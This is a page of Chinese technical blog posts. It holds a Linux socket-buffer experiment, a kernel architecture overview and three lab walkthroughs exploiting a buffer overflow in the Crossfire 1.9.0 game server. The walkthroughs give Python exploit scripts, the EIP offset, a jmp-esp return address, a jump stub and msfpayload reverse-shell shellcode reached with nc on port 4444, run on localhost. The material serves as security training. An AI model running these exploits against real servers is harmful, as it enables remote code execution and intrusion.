2018-11-29 12:00:47 u012580657 阅读数 1094
  • OpenGL ES2.0基础

    初级学习OpenGL ES2.0的课程,从无到有,从进本的函数讲起,每一课时都附带一个例子程序。深入浅出的讲解可编程管线技术,令人费解的文理,以及混合技术,各种优化技术:顶点缓冲区,索引缓冲区,帧缓冲区,介绍精灵的使用,并使用shader制作粒子特效。

    37599 人正在学习 去看看 张立铜

本次尝试主要研究 linux socket接受发送缓冲区的大小,以及当缓冲区阻塞时,能发送多少数据。

(1)实验与尝试

测试环境: vmware虚拟机 centos7系统。

服务端建立连接后睡眠,应用层不接受任何数据,只有内核接受缓冲区才接受数据。

服务端代码如下:

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<errno.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<unistd.h>

#define MAXLINE 8096

int main(int argc, char** argv){
    int  listenfd, connfd;
    struct sockaddr_in  servaddr;
    char  buff[MAXLINE];
    FILE *fp;
    int  n;

    if( (listenfd = socket(AF_INET, SOCK_STREAM, 0)) == -1 ){
        printf("create socket error: %s(errno: %d)\n",strerror(errno),errno);
        return 0;
    }
    printf("----init socket----\n");

    memset(&servaddr, 0, sizeof(servaddr));
    servaddr.sin_family = AF_INET;
    servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
    servaddr.sin_port = htons(6666);
    //设置端口可重用
    int contain;
    setsockopt(listenfd,SOL_SOCKET, SO_REUSEADDR, &contain, sizeof(int));

    if( bind(listenfd, (struct sockaddr*)&servaddr, sizeof(servaddr)) == -1){
        printf("bind socket error: %s(errno: %d)\n",strerror(errno),errno);
        return 0;
    }
    printf("----bind sucess----\n");

    if( listen(listenfd, 10) == -1){
        printf("listen socket error: %s(errno: %d)\n",strerror(errno),errno);
        return 0;
    }
    if((fp = fopen("new.txt","ab") ) == NULL )
    {
        printf("File.\n");
        close(listenfd);
        exit(1);
    }

    printf("======waiting for client's request======\n");
    while(1){
        struct sockaddr_in client_addr;
        socklen_t size=sizeof(client_addr);
        if( (connfd = accept(listenfd, (struct sockaddr*)&client_addr, &size)) == -1){
            printf("accept socket error: %s(errno: %d)",strerror(errno),errno);
            continue;
        }
		
	int s_length;
	socklen_t optl = sizeof s_length;
	getsockopt(connfd,SOL_SOCKET,SO_SNDBUF,&s_length,&optl);     
	printf("server connfd send buffer = %d\n",s_length);                         
	getsockopt(connfd,SOL_SOCKET,SO_RCVBUF,&s_length,&optl);      
	printf("server connfd recv buffer = %d\n",s_length);  
	
	sleep(300000);	
	
	while(1){
		n = read(connfd, buff, MAXLINE);
		if(n == 0)
			break;
		fwrite(buff, 1, n, fp);
	}
	buff[n] = '\0';
	printf("recv msg from client: %s\n", buff);
	close(connfd);
	fclose(fp);
    }
    close(listenfd);
    return 0;
}

客户端代码如下:

#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <stdlib.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <netdb.h>
#define MAXLINE 8096

int main(int argc, char** argv){
    int   sockfd, len;
    char  buffer[MAXLINE];
    struct sockaddr_in  servaddr;
    FILE *fq;

	/*
    if( argc != 2){
        printf("usage: ./client <ipaddress>\n");
        return 0;
    }
	*/
    if( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
        printf("create socket error: %s(errno: %d)\n", strerror(errno),errno);
        return 0;
    }
	
    memset(&servaddr, 0, sizeof(servaddr));
    servaddr.sin_family = AF_INET;
    servaddr.sin_port = htons(6666);
	servaddr.sin_addr.s_addr=inet_addr("127.0.0.1");
	/*
    if( inet_pton(AF_INET, argv[1], &servaddr.sin_addr) <= 0){
        printf("inet_pton error for %s\n",argv[1]);
        return 0;
    }
	*/
    if( connect(sockfd, (struct sockaddr*)&servaddr, sizeof(servaddr)) < 0){
        printf("connect error: %s(errno: %d)\n",strerror(errno),errno);
        return 0;
    }
	
	int s_length;
    socklen_t optl = sizeof s_length;
	getsockopt(sockfd,SOL_SOCKET,SO_SNDBUF,&s_length,&optl);     //
    printf("client send buffer = %d\n",s_length);                         // 
 
    getsockopt(sockfd,SOL_SOCKET,SO_RCVBUF,&s_length,&optl);      //
    printf("client recv buffer = %d\n",s_length);  

	
    if( ( fq = fopen("/root/socket/all.txt","rb") ) == NULL ){
        printf("File open.\n");
        close(sockfd);
        exit(1);
    }

    bzero(buffer,sizeof(buffer));
    int sum = 0;
    int writelen = 0;
    while(!feof(fq)){
        len = fread(buffer, 1, sizeof(buffer), fq);
        writelen = write(sockfd, buffer, len);
	if(writelen < 0) {
            printf("write.\n");
            break;
        }
	sum += writelen;	
	printf("writelen %d sum %d\n",writelen, sum);
    }
    printf("sum %d", sum);
    close(sockfd);
    fclose(fq);

    return 0;
}

运行服务端 效果截图如下:

客户端截图效果如下

最后写多少数据进去不同的时期运行结果不是固定的

 

(3)分析与疑惑:

客户端与服务端的连接socket 内核发送缓冲区约为2.6M,接收缓冲区为1M,按照以前的想法,文本数据all.txt 的大小约为8.8M,客户端每次向发送缓冲区写如8096字节。按照原来的设想,客户端能写入的字节 = 客户端发送缓冲区大小 + 服务端接收缓冲区大小,约3.6M。事实上客户端写入的字节数均大于4.7M,与设想不符合。

(3)尝试解决

尝试使用抓包工具wiresha'rk,查看tcp连接状态以及窗口大小,单服务器与客户端都再虚拟机上,发包没有经过网卡,故捕获不了。利用linux自带的 tcpdump -i -lo  抓取回环网口的包,截图如下;

结论尚未明确,等待下一部操作。有知情大佬请留言。

2013-06-08 09:25:10 DLUTBruceZhang 阅读数 7882
  • OpenGL ES2.0基础

    初级学习OpenGL ES2.0的课程,从无到有,从进本的函数讲起,每一课时都附带一个例子程序。深入浅出的讲解可编程管线技术,令人费解的文理,以及混合技术,各种优化技术:顶点缓冲区,索引缓冲区,帧缓冲区,介绍精灵的使用,并使用shader制作粒子特效。

    37599 人正在学习 去看看 张立铜

Linux 内核简介

现在让我们从一个比较高的高度来审视一下 GNU/Linux 操作系统的体系结构。您可以从两个层次上来考虑操作系统,如图 2 所示。


图 2. GNU/Linux 操作系统的基本体系结构
 GNU/Linux 操作系统的基本体系结构 

最上面是用户(或应用程序)空间。这是用户应用程序执行的地方。用户空间之下是内核空间,Linux 内核正是位于这里。

GNU C Library (glibc)也在这里。它提供了连接内核的系统调用接口,还提供了在用户空间应用程序和内核之间进行转换的机制。这点非常重要,因为内核和用户空间的应用程序使用的是不同的保护地址空间。每个用户空间的进程都使用自己的虚拟地址空间,而内核则占用单独的地址空间。 更多信息,请参看 参考资料 一节中的链接。

Linux 内核可以进一步划分成 3 层。最上面是系统调用接口,它实现了一些基本的功能,例如 read 和 write。系统调用接口之下是内核代码,可以更精确地定义为独立于体系结构的内核代码。这些代码是 Linux 所支持的所有处理器体系结构所通用的。在这些代码之下是依赖于体系结构的代码,构成了通常称为 BSP(Board Support Package)的部分。这些代码用作给定体系结构的处理器和特定于平台的代码。

Linux 内核的属性

在讨论大型而复杂的系统的体系结构时,可以从很多角度来审视系统。体系结构分析的一个目标是提供一种方法更好地理解源代码,这正是本文的目的。

Linux 内核实现了很多重要的体系结构属性。在或高或低的层次上,内核被划分为多个子系统。Linux 也可以看作是一个整体,因为它会将所有这些基本服务都集成到内核中。这与微内核的体系结构不同,后者会提供一些基本的服务,例如通信、I/O、内存和进程管理,更具体的服务都是插入到微内核层中的。每种内核都有自己的优点,不过这里并不对此进行讨论。

随着时间的流逝,Linux 内核在内存和 CPU 使用方面具有较高的效率,并且非常稳定。但是对于 Linux 来说,最为有趣的是在这种大小和复杂性的前提下,依然具有良好的可移植性。Linux 编译后可在大量处理器和具有不同体系结构约束和需求的平台上运行。一个例子是 Linux 可以在一个具有内存管理单元(MMU)的处理器上运行,也可以在那些不提供 MMU 的处理器上运行。Linux 内核的 uClinux 移植提供了对非 MMU 的支持。

Linux的主要子系统

现在使用图 3 中的分类说明 Linux 内核的主要组件。


图 3. Linux 内核的一个体系结构透视图
Linux 内核的一个体系结构透视图 

系统调用接口

SCI 层提供了某些机制执行从用户空间到内核的函数调用。正如前面讨论的一样,这个接口依赖于体系结构,甚至在相同的处理器家族内也是如此。SCI 实际上是一个非常有用的函数调用多路复用和多路分解服务。在 ./linux/kernel 中您可以找到 SCI 的实现,并在 ./linux/arch 中找到依赖于体系结构的部分。

进程管理

进程管理的重点是进程的执行。在内核中,这些进程称为线程,代表了单独的处理器虚拟化(线程代码、数据、堆栈和 CPU 寄存器)。在用户空间,通常使用进程 这个术语,不过 Linux 实现并没有区分这两个概念(进程和线程)。内核通过 SCI 提供了一个应用程序编程接口(API)来创建一个新进程(fork、exec 或 Portable Operating System Interface [POSIX] 函数),停止进程(kill、exit),并在它们之间进行通信和同步(signal 或者 POSIX 机制)。

进程管理还包括处理活动进程之间共享 CPU 的需求。内核实现了一种新型的调度算法,不管有多少个线程在竞争 CPU,这种算法都可以在固定时间内进行操作。这种算法就称为 O(1) 调度程序,这个名字就表示它调度多个线程所使用的时间和调度一个线程所使用的时间是相同的。 O(1) 调度程序也可以支持多处理器(称为对称多处理器或 SMP)。您可以在 ./linux/kernel 中找到进程管理的源代码,在 ./linux/arch 中可以找到依赖于体系结构的源代码。

内存管理

内核所管理的另外一个重要资源是内存。为了提高效率,如果由硬件管理虚拟内存,内存是按照所谓的内存页 方式进行管理的(对于大部分体系结构来说都是 4KB)。Linux 包括了管理可用内存的方式,以及物理和虚拟映射所使用的硬件机制。

不过内存管理要管理的可不止 4KB 缓冲区。Linux 提供了对 4KB 缓冲区的抽象,例如 slab 分配器。这种内存管理模式使用 4KB 缓冲区为基数,然后从中分配结构,并跟踪内存页使用情况,比如哪些内存页是满的,哪些页面没有完全使用,哪些页面为空。这样就允许该模式根据系统需要来动态调整内存使用。

为了支持多个用户使用内存,有时会出现可用内存被消耗光的情况。由于这个原因,页面可以移出内存并放入磁盘中。这个过程称为交换,因为页面会被从内存交换到硬盘上。内存管理的源代码可以在 ./linux/mm 中找到。

虚拟文件系统

虚拟文件系统(VFS)是 Linux 内核中非常有用的一个方面,因为它为文件系统提供了一个通用的接口抽象。VFS 在 SCI 和内核所支持的文件系统之间提供了一个交换层(请参看图 4)。


图 4. VFS 在用户和文件系统之间提供了一个交换层
VFS 在用户和文件系统之间提供了一个交换层 

在 VFS 上面,是对诸如 open、close、read 和 write 之类的函数的一个通用 API 抽象。在 VFS 下面是文件系统抽象,它定义了上层函数的实现方式。它们是给定文件系统(超过 50 个)的插件。文件系统的源代码可以在 ./linux/fs 中找到。

文件系统层之下是缓冲区缓存,它为文件系统层提供了一个通用函数集(与具体文件系统无关)。这个缓存层通过将数据保留一段时间(或者随即预先读取数据以便在需要是就可用)优化了对物理设备的访问。缓冲区缓存之下是设备驱动程序,它实现了特定物理设备的接口。

网络堆栈

网络堆栈在设计上遵循模拟协议本身的分层体系结构。回想一下,Internet Protocol (IP) 是传输协议(通常称为传输控制协议或 TCP)下面的核心网络层协议。TCP 上面是 socket 层,它是通过 SCI 进行调用的。

socket 层是网络子系统的标准 API,它为各种网络协议提供了一个用户接口。从原始帧访问到 IP 协议数据单元(PDU),再到 TCP 和 User Datagram Protocol (UDP),socket 层提供了一种标准化的方法来管理连接,并在各个终点之间移动数据。内核中网络源代码可以在 ./linux/net 中找到。

设备驱动程序

Linux 内核中有大量代码都在设备驱动程序中,它们能够运转特定的硬件设备。Linux 源码树提供了一个驱动程序子目录,这个目录又进一步划分为各种支持设备,例如 Bluetooth、I2C、serial 等。设备驱动程序的代码可以在 ./linux/drivers 中找到。

依赖体系结构的代码

尽管 Linux 很大程度上独立于所运行的体系结构,但是有些元素则必须考虑体系结构才能正常操作并实现更高效率。./linux/arch 子目录定义了内核源代码中依赖于体系结构的部分,其中包含了各种特定于体系结构的子目录(共同组成了 BSP)。对于一个典型的桌面系统来说,使用的是 i386 目录。每个体系结构子目录都包含了很多其他子目录,每个子目录都关注内核中的一个特定方面,例如引导、内核、内存管理等。这些依赖体系结构的代码可以在 ./linux/arch 中找到。


以上的内容来自:http://www.ibm.com/developerworks/cn/linux/l-linux-kernel/


下面介绍内核缓冲区的内容:

为什么总是需要将数据由内核缓冲区换到用户缓冲区或者相反呢?

答:用户进程是运行在用户空间的,不能直接操作内核缓冲区的数据。 用户进程进行系统调用的时候,会由用户态切换到内核态,待内核处理完之后再返回用户态

用缓冲技术能很明显的提高系统效率。内核与外围设备的数据交换,内核与用户空间的数据交换都是比较费时的,使用缓冲区就是为了优化这些费时的操作。其实核心到用户空间的操作本身是不buffer的,是由I/O库用buffer来优化了这个操作。比如read本来从内核读取数据时是比较费时的,所以一次取出一块,以避免多次陷入内核。
      应用内核缓冲区的 主要思想就是一次读入大量的数据放在缓冲区,需要的时候从缓冲区取得数据
      管理员模式和用户模式之间的切换需要消耗时间,但相比之下,磁盘的I/O操作消耗的时间更多,为了提高效率,内核也使用缓冲区技术来提高对磁盘的访问速度
磁盘是数据块 的集合,内核会对磁盘上的数据块做缓冲。内核将磁盘上的数据块复制到内核缓冲区中,当一个用户空间中的进程要从磁盘上读数据时,内核一般不直接读磁盘,而 是将内核缓冲区中的数据复制到进程的缓冲区中。当进程所要求的数据块不在内核缓冲区时,内核会把相应的数据块加入到请求队列,然后把该进程挂起,接着为其 他进程服务。一段时间之后(其实很短的时间),内核把相应的数据块从磁盘读到内核缓冲区,然后再把数据复制到进程的缓冲区中,最后唤醒被挂起的进程
      注:理解内核缓冲区技术的原理有助于更好的掌握系统调用read&write,read把数据从内核缓冲区复制到进程缓冲区,write把数据从进程缓冲区复制到内核缓冲区,它们不等价于数据在内核缓冲区和磁盘之间的交换
      从理论上讲,内核可以在任何时候写磁盘,但并不是所有的write操作都会导致内核的写动作。内核会把要写的数据暂时存在缓冲区中,积累到一定数量后再一 次写入。有时会导致意外情况,比如断电,内核还来不及把内核缓冲区中的数据写道磁盘上,这些更新的数据就会丢失。
      应用内核缓冲技术导致的结果是:提高了磁盘的I/O效率;优化了磁盘的写操作;需要及时的将缓冲数据写到磁盘。



2018-05-27 12:44:11 qq_38055050 阅读数 646
  • OpenGL ES2.0基础

    初级学习OpenGL ES2.0的课程,从无到有,从进本的函数讲起,每一课时都附带一个例子程序。深入浅出的讲解可编程管线技术,令人费解的文理,以及混合技术,各种优化技术:顶点缓冲区,索引缓冲区,帧缓冲区,介绍精灵的使用,并使用shader制作粒子特效。

    37599 人正在学习 去看看 张立铜

------Fuzzing环境准备---------

测试软件:Crossfire 1.9.0 接受入站socket连接时存在缓冲区溢出漏洞

调试工具:edb

运行平台:kali i386

ps:32位的机器cpu地址总线的位数是2^32(最大寻址空间);相对64位系统测试 简单;

-----服务端程序

-------调试工具

ps:新版本Linux内核支持内存保护机制:DEP ALSP 堆栈cookies 堆栈粉碎

ps:但是crossfire不支持这些保护机制

------本机调试

iptables -A INPUT -P tcp --destination-port 4444 \! -d 127.0.0.1 -j DROP

iptables -A INPUT -P tcp --destination-port 13327 \! -d 127.0.0.1 -j DROP

ps:通过本机防火墙限制只能通过本机访问13327服务端口、4444侦听端口;避免测试的时候被别人利用;

 

------Starting Fuzzing---------

ps:在debug菜单点击两次run,运行服务器端程序;和immunity不同的是,必须双击EIP才能看到下一条指令的内存地址

----01.py----


 

ps:crossfire只有当发送的数据在一个固定的数值的时候才能精确修改eip内容;4379;

ps:\x11表示设备调用的指令;缓冲区溢出发生在setup sound指令;\x0空字符表示crash指令结束;

ps:第五行表示建立连接对象;

ps:可见当前EIP寄存器被我们发送的A覆盖掉了;可以判断这个程序存在缓冲区漏洞

---02.py---精确定位EIP字符位

ps:可见覆盖EIP的字符是4369到4372;

---03.py---验证是否从4369开始覆盖EIP


 

ps:至此说明精确覆盖

ps:查看ESP内容,可以看到7个C;这7个字符不足够填充shellcode;这是一个问题;

ps:经筛选发现只有4000多个A存放在EAX里面;理论上可以写入shellcode;

ps:把EIP的地址改成EXP程序段地址;前面12个字符写setup sound ;从A开始执行shellcode;

       在本机上可以执行;但是注意EXP地址和操作系统有关系;所以必须再次调整代码跳转的思路;

       新思路:第一阶段shellcode->ESP跳转到EAX;偏移12个字节;

                     第二阶段 setup sound shellcode2

ps:汇编指令转换成二进制;偏移12个字节;

ps:跳转到eax起始位置;

ps:转换成16进制为:\x83\xc0\x0c\xff\xe0\x90\x90

----04.py---修改ESP


 

ps:83 e0 0c ff e0 90 90 ,被精确修改

ps:那怎么跳转到ESP呢;修改EIP的内容为ESP的内存地址行不通,因为ESP的地址也是变化的;

ps:在Windows下可以通过调用地址不变的系统模块执行jmp esp;linux下可通过类似的方法;

ps:现在可以把EIP的内容填为上诉地址,间接跳转到ESP;然后修改ESP的内容让EAX偏移12位并执行shellcode;

ps:查找坏字符,发现badcode:\x00\x0a\x0d\x20

---05.py


 

 ps:设置断点;runing程序

ps:遇到断点pause,F8继续

ps:跳转到EAX,F8继续

ps:偏移了12个字符的其实位置;F8继续

ps:EXP里面的内容;接下来的工作是找到合适的shellcode替换前面一部分A;

ps:生成shellcode;在目标服务器开放一个端口

---06.py


 
ps:A*(4368-105)

ps:成功打开4444端口;

ps:到此成功溢出;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

2019-03-12 20:20:43 weixin_41082546 阅读数 7
  • OpenGL ES2.0基础

    初级学习OpenGL ES2.0的课程,从无到有,从进本的函数讲起,每一课时都附带一个例子程序。深入浅出的讲解可编程管线技术,令人费解的文理,以及混合技术,各种优化技术:顶点缓冲区,索引缓冲区,帧缓冲区,介绍精灵的使用,并使用shader制作粒子特效。

    37599 人正在学习 去看看 张立铜
原理:crossfire 1.9.0 版本接受入站 socket 连接时存在缓冲区溢出漏洞。
工具:
调试工具:edb;
###python在漏洞溢出方面的渗透测试和漏洞攻击中,具有很大的优势
实验对象:crossfire【多人在线RPG游戏】
运行平台:Kali i386 虚拟机【32位,计算机CPU位数是指地址总线位数,64位系统的寻址空间为2^64,寻址过大,难以处理,为了简化操作,所以选用32位】
搭建实验环境
#linux中,游戏需安装带其game文件夹
服务器端程序
cp crossfire.tar.gz /usr/games/
tar -zxpf crossfire.tar.gz
./crossfire 运行
出现Waiting for connections即可,有问题看看Error
查看端口开放情况
可以看到crossfire进程已经开始监听本地13327端口
新版本Linux内核支持内存保护机制
DEP、ASLR、堆栈cookies、堆栈粉碎
今天实验内容使用的crossfire1.9程序相对来说比较简陋,不支持内存保护机制,对这个实验没有影响
本机调试【防止在渗透测试过程中的非法网络访问,以防被黑客入侵电脑】
iptables -A INPUT -p tcp –destination-port 13327 \! -d 127.0.0.1 -j DROP #只有通过本机访问本地网卡的13327
iptables -A INPUT -p tcp –destination-port 4444 \! -d 127.0.0.1 -j DROP #只有通过本机访问本地网卡4444
配置完之后可以使用iptables -L查看当前配置
我们使用的调试工具是edb-debuger
application应用–>reverse_engineering逆袭工程–>edb-debuger
#开启调试 edb –run /usr/games/crossfire/bin/crossfire
右下角是paused暂停状态
菜单栏 Debug => Run(F9) 点击两回可以运行起来
debug运行起来之后后启动edb-output调试输出窗口显示waitting for connections
#查看开放端口 netstat -anptl | grep crossfire
EIP中存放的是下一条指令的地址
这个程序和一般的溢出不同,它必须发送固定的数据量才可以发生溢出,而不是大于某个数据量都可以,我们构造如下python程序测试
#! /usr/bin/python import socket host = “127.0.0.1” crash = “\x41” * 4379 ## \x41为十六进制的大写A buffer = “\x11(setup sound ” + crash + “\x90\x00#” ## \x90是NULL,\x00是空字符 s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) print “[*]Sending evil buffer…” s.connect((host,13327)) data = s.recv(1024) print data s.send(buffer) s.close() print “[*]Payload Sent!”
执行01.py
edb中一旦缓冲区溢出发生,无法进行下一条指令,会有告警弹窗
意思是EIP(存放一下条执行命令的地址)已经被覆盖成0x41414141地址,这个地址不能被访问。这个地址正是被由我们输入的A填充,说明EIP可控,存在溢出。
通过测试增加一个A或者减少一个A发送,会发现后边两个数值都不是A,都不可控,也就是说数据量只有为4379时EIP才完全可控
唯一字符串精确定位EIP位置
为了查看到底是哪个位置的A才是溢出后的EIP地址,借助工具生成唯一字符串
cd /usr/share/metasploit-framework/tools/exploit/ ./pattern_create.rb -l 4379
复制下来,构造如下python脚本
#! /usr/bin/python import socket host = “127.0.0.1” crash = “唯一字符串” buffer = “\x11(setup sound ” + crash + “\x90\x00#” s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) print “[*]Sending evil buffer…” s.connect((host,13327)) data = s.recv(1024) print data s.send(buffer) s.close()
重新启动edb服务,连按两次F9开始运行
执行02.py
可以看到EIP寄存器内存地址为0x46367046
接下来我们需要利用工具确认字符串的位置
cd /usr/share/metasploit-framework/tools/exploit/ ./pattern_offset.rb -q 46367046
可以看到偏移量是4358,也就是说EIP地址前面有4368个字符。4369,4370,4371,4372的位置存放的是溢出后的EIP地址。
我们构造如下python脚本验证,用B精确的存入4369-4372的位置。
#! /usr/bin/python import socket host = “127.0.0.1” crash = ‘A’*4368 + ‘B’*4 + ‘C’*7 ## 凑够4379个字符,只有4379个字符才可精确的发生EIP的内存覆盖 buffer = “\x11(setup sound ” + crash + “\x90\x00#” s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) print “[*]Sending evil buffer…” s.connect((host,13327)) data = s.recv(1024) print data s.send(buffer) s.close() print “[*]Payload Sent!”
运行程序,可以看到弹出报错窗口提示0x42424242这个地址是不能被访问的
双击EIP寄存器地址,可以看到EIP地址被精准的填充为B字符
右键ESP,选择 Follow In Dump 查看数据,可以看到ESP寄存器填充了7个C
因为必须是精确的字符才能溢出,就是说ESP寄存器只能存放7个字符,显然无法存放shellcode
几个寄存器都查看后,选择了EAX。因为EAX存放的是我们之前发送的几千个A,是可控的,且有足够的大小存放shellcode
因为setup sound为服务器指令,所以前十二个字符须先发送setup sound
思路就是让EIP存放EAX的地址,然后在地址上加12,直接从第一个A的位置开始执行。但是各个机器的EAX的地址也各不相同,不具有通用性,所以直接跳转的思路就放弃。
既然ESP可以存放7个字符,想到了跳转EAX并偏移12
第一阶段shellcode:从ESP【7个字节】 跳转到 EAX,在ESP中实现偏移12位字符
root@kali:~# locate nasm_shell.rb
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
root@kali:~# cd /usr/share/metasploit-framework/tools/exploit/
root@kali:/usr/share/metasploit-framework/tools/exploit# ./nasm_shell.rb
将汇编指令转换为十六进制
因为ESP可以存放7个字节,实现跳转只需5个字节,足够插进ESP中,实现跳转到EAX
跳转的内容我们用十六进制表示 \x83\xc0\x0c\xff\xe0\x90\x90
\x90:跳转字符,防止被过滤【计算机读入数据顺序与人类阅读顺序相反】
构造如下python代码运行
#! /usr/bin/python import socket host = “127.0.0.1” crash = ‘A’*4368 + ‘B’*4 + ‘\x83\xc0\x0c\xff\xe0\x90\x90’ buffer = “\x11(setup sound ” + crash + “\x90\x00#” s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) print “[*]Sending evil buffer…” s.connect((host,13327)) data = s.recv(1024) print data s.send(buffer) s.close() print “[*]Payload Sent!”
EIP地址仍然是精准的覆盖四个B
ESP => Follow In Dump 查看
可以看到ESP寄存器被成功覆盖为十六进制的\x83\xc0\x0c\xff\xe0\x90\x90
转化为汇编语言就是我们的跳转指令jmp eax
思路就是EIP => ESP => EAX,EAX存放shellcode,因为ESP地址不固定,需要借助固定的地址跳转
打开edb,菜单栏 Plugins => OpcodeSearcher => OpcodeSearch
选择crossfire程序,ESP -> EIP,选择一个jmp esp 的地址,这个地址是不会变的
#EIP->jmp ESP->ESP->EAX
这里我再强调一下,这个实验一定要用32位系统来做,否则64位系统这里会出现问题,如下图
菜单栏 plugin => breakpointmanager => breakpoints 选择add增加我们上边选择的地址的断点用来测试。
查找坏字符
\x00\x0a\x0d\x20
将256个编码放进脚本中逐一查找
设置断点(0x08134597)
EIP——08134597
则EIP跳转地址为
crash = “\x41” * 4368 + “\x97\x45\x13\x08″【EIP】 + “\x83\xc0\x0c\xff\xe0\x90\x90″【EAX】
程序执行到EIP——08134597处被阻断,
此时按F8执行下一步
再按F8就跳入ESP寄存器
将4368个字符中,替换成shellcode,剩余位继续填充”A“【需计算shellcode字符数量】
然后我们测试坏字符,经过测试坏字符是\x00\x0a\x0d\x20
生成shellcode并过滤坏字符
cd /usr/share/framework2/ ./msfpayload -l #可以生成的shellcode的种类 ./msfpayload linux_ia32_reverse LHOST=127.0.0.1 LPORT=4444 R | ./msfencode -b “\x00\x0a\x0d\x20”
构建python脚本
#!/usr/bin/python import socket host = “127.0.0.1” shellcode = (生成的shellcode) crash = shellcode + “A”*(4368-105) + “\x97\x45\x13\x08” + “\x83\xc0\x0c\xff\xe0\x90\x90” buffer = “\x11(setup sound ” +crash+ “\x90\x90#)” s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) print “[*]Sending evil buffer…” s.connect((host,13327)) data = s.recv(1024) print data s.send(buffer) s.close() print “[*]Payload Sent!”
打开侦听4444端口【当有人连接4444的时候,则getshell】
nc 127.0.0.1 4444 ###获得shell
2016-09-20 18:19:09 ZiXuanFY 阅读数 5119
  • OpenGL ES2.0基础

    初级学习OpenGL ES2.0的课程,从无到有,从进本的函数讲起,每一课时都附带一个例子程序。深入浅出的讲解可编程管线技术,令人费解的文理,以及混合技术,各种优化技术:顶点缓冲区,索引缓冲区,帧缓冲区,介绍精灵的使用,并使用shader制作粒子特效。

    37599 人正在学习 去看看 张立铜

Linux系统下穿越火线-缓冲区溢出

原理:crossfire 1.9.0 版本接受入站 socket 连接时存在缓冲区溢出漏洞。

工具:

调试工具:edb;

###python在漏洞溢出方面的渗透测试和漏洞攻击中,具有很大的优势

实验对象:crossfire【多人在线RPG游戏】

运行平台:Kali i686 虚拟机【32位,计算机CPU位数是指地址总线位数,64位系统的寻址空间为2^64,寻址过大,难以处理,为了简化本章操作,所以选用32位】


搭建实验环境

#linux中,游戏需安装带其game文件夹

服务器端程序

root@kali:~# cd \Desktop
root@kali:~/Desktop# ls
crossfire.tar.gz
root@kali:~/Desktop# mv crossfire.tar.gz /usr/games
root@kali:~/Desktop# cd /usr/games/
root@kali:/usr/games# ls
crossfire.tar.gz
root@kali:/usr/games# tar zxpf crossfire.tar.gz
root@kali:/usr/games# ls -lh
total 4.8M
drwxr-xr-x 8 root root 4.0K Feb 10  2010 crossfire
-rwxrwx--- 1 root root 4.8M Aug 30 05:16 crossfire.tar.gz
root@kali:/usr/games# cd crossfire/
root@kali:/usr/games/crossfire# cd bin/
root@kali:/usr/games/crossfire/bin# ls
crossedit  crossfire-config  crossloop.pl   player_dl.pl
crossfire  crossloop         crossloop.web
root@kali:/usr/games/crossfire/bin# 
#若出现缺少什么组件,可以相应去安装一下,只要看到出现waiting for connect,则基本没问题
查看端口开放情况【13327】

root@kali:~# netstat -pantu
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:13327           0.0.0.0:*               LISTEN      4147/./crossfire    
udp        0      0 0.0.0.0:68              0.0.0.0:*                           629/dhclient        
调试工具


###也可用命令行来打开


新版本Linux内核支持内存保护机制

DEP、ASLR、堆栈cookies、堆栈粉碎


本机调试【防止在渗透测试过程中的非法网络访问,以防被黑客入侵电脑】

iptables -A INPUT -p tcp --destination-port 13327 \! -d 127.0.0.1 -j DROP #只有通过本机访问本地网卡的13327

iptables -A INPUT -p tcp --destination-port 4444 \! -d 127.0.0.1 -j DROP   #只有通过本机访问本地网卡4444


root@kali:~# iptables -A INPUT -p tcp --destination-port 13327 \! -d 127.0.0.1 -j DROP
root@kali:~# iptables -A INPUT -p tcp --destination-port 4444 \! -d 127.0.0.1 -j DROP
root@kali:~# iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination         
DROP       tcp  --  anywhere            !localhost            tcp dpt:13327
DROP       tcp  --  anywhere            !localhost            tcp dpt:4444

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination         

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination         
root@kali:~# 

调试工具

使用edb调试工具启动服务进行调试

edb --run /usr/games/crossfire/bin/crossfire


#需要重复点击两个Debug->run


查看EIP等寄存器地址,需要双击



01.py

#!/usr/bin/python

import socket

host = "127.0.0.1"
crash = "\x41" * 4379           ###crossfire必须在发送数值大小在一个固定数值的时候才能发生缓冲区溢出,只有当发送4379字符时,才能精确到溢出位置###
buffer = "\x11(setup sound " +crash+ "\x90\x90#)"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host,1327))
data = s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent!"
edb中一旦缓冲区溢出发生,无法进行下一条指令,会有告警弹窗


可确认存在缓冲区溢出漏洞


#通过修改发送“A”的数值,可验证只有当字符数量为4379才能精确修改EIP寄存器


唯一字符串精确定位EIP位置

/usr/share/metasploit-‐framework/tools/exploit/pattern_create.rb 4379
将唯一字符串添加到02.py

双击EIP


使用./pattren_offset.rb计算偏移量


则4368后四个字符为EIP地址

验证位置03.py



查看ESP数据部分Fellow in Dump


###因为ESP只能添7个字符才能精确修改EIP,所以shellcode不能放在ESP寄存器中。因此在剩下的寄存器中寻找

逐个查找,发现EAX可用


【因为setup sound为服务器指令,所以前十二个字符须先发送setup sound】

存在一个理论,直接在EAX的地址上加上12,可实现跳转,但是很大可能换一台机器后可能无法实现溢出,因为不同系统的EAX地址可能不一样


思路:【需考虑普适性】

第一阶段shellcode:从ESP【7个字节】 跳转到 EAX,在ESP中实现偏移12位字符


###一个5个字节,足够插进ESP中,实现跳转到EAX

\x83\xc0\x0c\xff\xe0\x90\x90      #\x90:跳转字符,防止被过滤【计算机读入数据顺序与人类阅读顺序相反】

04.py

查看ESP


